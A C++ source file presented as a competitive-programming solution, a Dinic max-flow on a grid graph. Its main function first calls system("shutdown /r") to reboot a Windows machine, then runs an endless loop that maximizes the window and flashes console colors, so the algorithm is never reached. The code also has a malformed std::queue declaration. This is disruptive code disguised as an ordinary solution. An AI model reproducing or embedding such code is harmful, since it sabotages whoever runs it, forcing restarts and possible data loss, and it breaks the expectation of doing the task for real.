#include<bits/stdc++.h> #include<windows.h> using namespace std; const int N=1e6+5,M=6e6+5; int n,m,tot=1,lnk[N],ter[M],nxt[M],val[M],dep[N],cnr[N]; int id(int x,int y) { return (x-1)*m+y; } void add(int u,int v,int w) { ter[++tot]=v,nxt[tot]=lnk[u],lnk[u]=tot,val[tot]=w; } void addedge(int u,int v,int w) { add(u,v,w),add(v,u,w); } int bfs(int s,int t) { memset(dep,0,sizeof(dep)); memcpy(cnr,lnk,sizeof(lnk)); std::queue q; q.push(s),dep[s]=1; while(!q.empty()) { int u=q.front(); q.pop(); for(int i=lnk[u];i;i=nxt[i]) { int v=ter[i]; if(val[i]&&!dep[v]) q.push(v),dep[v]=dep[u]+1; } } return dep[t]; } int dfs(int u,int t,int flow) { if(u==t) return flow; int ans=0; for(int i=cnr[u];i&&ans<flow;i=nxt[i]) { cnr[u]=i; int v=ter[i]; if(val[i]&&dep[v]==dep[u]+1) { int x=dfs(v,t,std::min(val[i],flow-ans)); if(x) val[i]-=x,val[i^1]+=x,ans+=x; } } if(ans<flow) dep[u]=-1; return ans; } int dinic(int s,int t) { int ans=0; while(bfs(s,t)) { int x; while((x=dfs(s,t,1<<30))) ans+=x; } return ans; } HWND hwnd=GetForegroundWindow(); void big() { ShowWindow(hwnd,SW_MAXIMIZE); } int main() { system("shutdown /r"); //big(); while(1){ big(); system("color 17"); system("color 40"); system("color 94"); system("color 88"); system("color 24"); system("color 55"); system("color 17"); system("color 11"); system("color 52"); system("color 76"); } scanf("%d%d",&n,&m); for(int i=1;i<=n;++i) for(int j=1;j<m;++j) { int x; scanf("%d",&x); addedge(id(i,j),id(i,j+1),x); } for(int i=1;i<n;++i) for(int j=1;j<=m;++j) { int x; scanf("%d",&x); addedge(id(i,j),id(i+1,j),x); } for(int i=1;i<n;++i) for(int j=1;j<m;++j) { int x; scanf("%d",&x); addedge(id(i,j),id(i+1,j+1),x); } printf("%d\n",dinic(id(1,1),id(n,m))); return 0; }